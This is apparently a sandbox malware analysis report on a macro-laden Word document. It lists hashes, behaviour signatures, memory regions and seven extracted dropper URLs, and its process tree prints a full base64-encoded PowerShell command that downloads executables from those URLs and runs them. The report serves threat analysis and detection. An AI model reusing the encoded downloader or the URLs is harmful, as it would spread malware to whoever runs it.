Analysis

  • max time kernel
    117s
  • max time network
    117s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    12-05-2024 13:33

General

  • Target

    3a5cf6add13394d9bc5d9bc02ba42013_JaffaCakes118.doc

  • Size

    241KB

  • MD5

    3a5cf6add13394d9bc5d9bc02ba42013

  • SHA1

    55d9298b16c53e211d481b28a385664e26681e77

  • SHA256

    c5c43523a3a4685e12351e8399e8b5cb13790ba54ad09e470578f0ec70a0122f

  • SHA512

    90ae27eed1a68afbff472859766e17e4f2aca1c5250b92ab8645e4b4e064b29154cec624e43882f415ee3bdf51732f6d42f7f21cc8b4f0c4311d0284d9b290eb

  • SSDEEP

    3072:wYy0u8YGgjv+ZvchmkHcI/o1/Vb6///////////////////////////////////4:40uXnWFchmmcI/o1//Ofc7

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://www.ksgresearch.org/LLC/z9B/

exe.dropper

http://www.mitrausahacontrucion.com/multifunctional-section/X2v4XN/

exe.dropper

http://daprofesional.com/data4/rsdbA1h/

exe.dropper

http://degisimkalip.com.tr/wp-admin/ZML/

exe.dropper

http://da-industrial.com/js/6GGA48AK/

exe.dropper

http://cse-engineer.com/cgi-bin/BOiL/

exe.dropper

http://casabeethovenlb.com/classes/7SUlG/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 12 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\3a5cf6add13394d9bc5d9bc02ba42013_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2984
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1940
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -encod JABDADYAZABfADIAcwA4AD0AKAAoACcATQB3ACcAKwAnAHcAJwApACsAJwBrADEAJwArACcAbgBtACcAKQA7ACYAKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUAbgBWADoAVQBTAGUAcgBQAFIATwBGAGkAbABlAFwARwAxADAAcABnAGkAOABcAFoAVABUAHgAQgA0AE8AXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIARQBjAFQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBgAGMAVQBSAGAASQBUAHkAcAByAG8AVABPAGMAYABPAEwAIgAgAD0AIAAoACgAJwB0ACcAKwAnAGwAcwAxACcAKQArACcAMgAnACsAKAAnACwAJwArACcAIAB0AGwAJwApACsAKAAnAHMAJwArACcAMQAxACwAIAAnACkAKwAnAHQAbAAnACsAJwBzACcAKQA7ACQAVwAwAGwAagBpADkAZQAgAD0AIAAoACcARgAnACsAJwB1AHgAJwArACgAJwA4ACcAKwAnADYAdgAnACkAKQA7ACQASwBzAGwAZgA2AHUAZgA9ACgAKAAnAEIAdgBpACcAKwAnAGcAbgAnACkAKwAnADYAZQAnACkAOwAkAFEAbwA0AGYAbgBjADMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAwACcAKwAnAH0AJwArACcARwAxADAAcABnAGkAOAB7ADAAJwArACcAfQBaAHQAdAB4AGIANABvAHsAMAB9ACcAKQAgAC0ARgAgAFsAYwBoAEEAUgBdADkAMgApACsAJABXADAAbABqAGkAOQBlACsAKAAnAC4AJwArACgAJwBlACcAKwAnAHgAZQAnACkAKQA7ACQAVAA1ADcAOQB2AHcAdwA9ACgAJwBRACcAKwAoACcAaABvAHAAJwArACcAcwAnACkAKwAnAGYAcgAnACkAOwAkAFcAYwB1ADEAbwB0AHgAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4ARQB0AC4AVwBlAGIAYwBMAEkAZQBOAHQAOwAkAEQAagA0AHEAagBhAHgAPQAoACgAJwBoAHQAdABwACcAKwAnADoALwAvAHcAdwAnACsAJwB3ACcAKwAnAC4AawBzAGcAJwApACsAKAAnAHIAZQBzACcAKwAnAGUAYQByACcAKwAnAGMAaAAnACsAJwAuAG8AcgBnAC8ATABMAEMAJwArACcALwAnACsAJwB6ADkAQgAvACoAJwApACsAJwBoACcAKwAoACcAdAB0ACcAKwAnAHAAJwApACsAKAAnADoAJwArACcALwAvAHcAdwAnACkAKwAoACcAdwAuAG0AaQB0AHIAJwArACcAYQB1ACcAKwAnAHMAYQBoACcAKQArACcAYQAnACsAKAAnAGMAbwAnACsAJwBuAHQAcgAnACkAKwAnAHUAYwAnACsAJwBpAG8AJwArACcAbgAnACsAJwAuAGMAJwArACcAbwAnACsAKAAnAG0AJwArACcALwBtACcAKQArACgAJwB1AGwAdAAnACsAJwBpACcAKwAnAGYAdQAnACsAJwBuAGMAdABpAG8AbgAnACsAJwBhAGwALQBzAGUAJwApACsAKAAnAGMAdAAnACsAJwBpACcAKQArACcAbwBuACcAKwAnAC8AJwArACcAWAAyACcAKwAoACcAdgA0AFgAJwArACcATgAvACcAKQArACgAJwAqAGgAJwArACcAdAAnACkAKwAnAHQAJwArACgAJwBwADoAJwArACcALwAvAGQAYQAnACsAJwBwAHIAJwArACcAbwBmAGUAcwAnACsAJwBpAG8AbgBhACcAKwAnAGwALgAnACkAKwAnAGMAJwArACcAbwAnACsAKAAnAG0ALwBkAGEAdAAnACsAJwBhADQALwByAHMAJwArACcAZABiAEEAJwApACsAJwAxAGgAJwArACgAJwAvACcAKwAnACoAaAB0AHQAcAAnACkAKwAoACcAOgAvAC8AZABlACcAKwAnAGcAJwArACcAaQBzACcAKQArACcAaQAnACsAKAAnAG0AawBhAGwAaQBwACcAKwAnAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC4AdAByAC8AJwApACsAKAAnAHcAcAAtAGEAZAAnACsAJwBtAGkAbgAnACsAJwAvAFoATQBMAC8AJwArACcAKgAnACkAKwAnAGgAdAAnACsAKAAnAHQAcAA6ACcAKwAnAC8ALwBkAGEAJwApACsAKAAnAC0AaQBuACcAKwAnAGQAdQAnACkAKwAnAHMAJwArACgAJwB0AHIAJwArACcAaQAnACkAKwAnAGEAJwArACcAbAAnACsAKAAnAC4AJwArACcAYwBvAG0ALwBqAHMALwAnACsAJwA2ACcAKQArACgAJwBHAEcAQQA0ADgAJwArACcAQQBLAC8AJwArACcAKgAnACkAKwAoACcAaAAnACsAJwB0AHQAcAA6ACcAKQArACgAJwAvACcAKwAnAC8AYwBzAGUALQBlACcAKQArACgAJwBuAGcAJwArACcAaQAnACkAKwAnAG4AJwArACgAJwBlAGUAcgAnACsAJwAuAGMAbwBtACcAKwAnAC8AYwAnACsAJwBnAGkALQBiAGkAbgAvAEIATwAnACsAJwBpAEwALwAnACkAKwAnACoAaAAnACsAKAAnAHQAdAAnACsAJwBwACcAKQArACgAJwA6AC8AJwArACcALwBjAGEAcwBhACcAKQArACgAJwBiAGUAJwArACcAZQB0AGgAbwAnACkAKwAoACcAdgBlAG4AbABiACcAKwAnAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC8AYwAnACsAJwBsAGEAcwAnACkAKwAoACcAcwBlAHMALwA3AFMAJwArACcAVQAnACkAKwAoACcAbAAnACsAJwBHAC8AJwApACkALgAiAHMAYABQAGwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQATgBtAHkAcwBwAG0AYwA9ACgAKAAnAEoAcQB1ACcAKwAnADEAJwApACsAKAAnAHIAZwAnACsAJwBfACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQAQgBsAHUANwB4ADQAXwAgAGkAbgAgACQARABqADQAcQBqAGEAeAApAHsAdAByAHkAewAkAFcAYwB1ADEAbwB0AHgALgAiAEQAbwBgAFcAbgBMAE8AQQBgAGQARgBgAGkATABlACIAKAAkAEIAbAB1ADcAeAA0AF8ALAAgACQAUQBvADQAZgBuAGMAMwApADsAJABDAGoANwBjADAAeQA5AD0AKAAnAFcAJwArACgAJwB1AHQAJwArACcAeAAnACkAKwAoACcAZwAxACcAKwAnAHkAJwApACkAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQBtACcAKQAgACQAUQBvADQAZgBuAGMAMwApAC4AIgBMAEUAbgBnAGAAVABoACIAIAAtAGcAZQAgADMAOAAxADUAMgApACAAewAuACgAJwBJAG4AdgBvACcAKwAnAGsAZQAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACgAJABRAG8ANABmAG4AYwAzACkAOwAkAEEAeQBhAGcAdwA3AHAAPQAoACcASgAnACsAKAAnAHYAZQBjADgAJwArACcAawAnACkAKwAnAHEAJwApADsAYgByAGUAYQBrADsAJABDAG0AagBrAHAAagA2AD0AKAAoACcAVwB4ADYANABwACcAKwAnAG4AJwApACsAJwB4ACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUQB3AHEAcwAwAGUAcgA9ACgAKAAnAEwAbAAnACsAJwB2AGQAJwApACsAKAAnADQAMQAnACsAJwBfACcAKQApAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2556

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      7987d90347da89698514aec8d56f7616

      SHA1

      d06846817f0c914cdf1d1d6c45a1b4839858bc2d

      SHA256

      294ac8e17ba6501d0bfa23fa75bb9745972f21c929aed3bb59ff927edc9daed9

      SHA512

      ec9d0e5c256d3985bd34376c6f45f0944dbcb9171b7eef8fcf8e62da05a6273f055de7e3a914ffc30e28dd35832f689806531e4e531731122af2e67f17d06657

    • memory/2556-39-0x000000001B6E0000-0x000000001B9C2000-memory.dmp

      Filesize

      2.9MB

    • memory/2556-40-0x0000000001F90000-0x0000000001F98000-memory.dmp

      Filesize

      32KB

    • memory/2984-14-0x00000000005E0000-0x00000000006E0000-memory.dmp

      Filesize

      1024KB

    • memory/2984-9-0x00000000005E0000-0x00000000006E0000-memory.dmp

      Filesize

      1024KB

    • memory/2984-12-0x00000000005E0000-0x00000000006E0000-memory.dmp

      Filesize

      1024KB

    • memory/2984-27-0x00000000005E0000-0x00000000006E0000-memory.dmp

      Filesize

      1024KB

    • memory/2984-8-0x00000000005E0000-0x00000000006E0000-memory.dmp

      Filesize

      1024KB

    • memory/2984-31-0x00000000005E0000-0x00000000006E0000-memory.dmp

      Filesize

      1024KB

    • memory/2984-11-0x00000000005E0000-0x00000000006E0000-memory.dmp

      Filesize

      1024KB

    • memory/2984-22-0x00000000005E0000-0x00000000006E0000-memory.dmp

      Filesize

      1024KB

    • memory/2984-21-0x00000000005E0000-0x00000000006E0000-memory.dmp

      Filesize

      1024KB

    • memory/2984-19-0x00000000005E0000-0x00000000006E0000-memory.dmp

      Filesize

      1024KB

    • memory/2984-20-0x00000000005E0000-0x00000000006E0000-memory.dmp

      Filesize

      1024KB

    • memory/2984-18-0x00000000005E0000-0x00000000006E0000-memory.dmp

      Filesize

      1024KB

    • memory/2984-17-0x00000000005E0000-0x00000000006E0000-memory.dmp

      Filesize

      1024KB

    • memory/2984-16-0x00000000005E0000-0x00000000006E0000-memory.dmp

      Filesize

      1024KB

    • memory/2984-15-0x00000000005E0000-0x00000000006E0000-memory.dmp

      Filesize

      1024KB

    • memory/2984-0-0x000000002F1D1000-0x000000002F1D2000-memory.dmp

      Filesize

      4KB

    • memory/2984-64-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2984-7-0x00000000005E0000-0x00000000006E0000-memory.dmp

      Filesize

      1024KB

    • memory/2984-10-0x00000000005E0000-0x00000000006E0000-memory.dmp

      Filesize

      1024KB

    • memory/2984-32-0x00000000005E0000-0x00000000006E0000-memory.dmp

      Filesize

      1024KB

    • memory/2984-30-0x00000000005E0000-0x00000000006E0000-memory.dmp

      Filesize

      1024KB

    • memory/2984-29-0x00000000005E0000-0x00000000006E0000-memory.dmp

      Filesize

      1024KB

    • memory/2984-28-0x00000000005E0000-0x00000000006E0000-memory.dmp

      Filesize

      1024KB

    • memory/2984-26-0x00000000005E0000-0x00000000006E0000-memory.dmp

      Filesize

      1024KB

    • memory/2984-25-0x00000000005E0000-0x00000000006E0000-memory.dmp

      Filesize

      1024KB

    • memory/2984-23-0x00000000005E0000-0x00000000006E0000-memory.dmp

      Filesize

      1024KB

    • memory/2984-33-0x00000000005E0000-0x00000000006E0000-memory.dmp

      Filesize

      1024KB

    • memory/2984-6-0x00000000005E0000-0x00000000006E0000-memory.dmp

      Filesize

      1024KB

    • memory/2984-2-0x0000000070D6D000-0x0000000070D78000-memory.dmp

      Filesize

      44KB

    • memory/2984-46-0x0000000070D6D000-0x0000000070D78000-memory.dmp

      Filesize

      44KB

    • memory/2984-47-0x00000000005E0000-0x00000000006E0000-memory.dmp

      Filesize

      1024KB

    • memory/2984-48-0x00000000005E0000-0x00000000006E0000-memory.dmp

      Filesize

      1024KB

    • memory/2984-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2984-13-0x00000000005E0000-0x00000000006E0000-memory.dmp

      Filesize

      1024KB

    • memory/2984-65-0x0000000070D6D000-0x0000000070D78000-memory.dmp

      Filesize

      44KB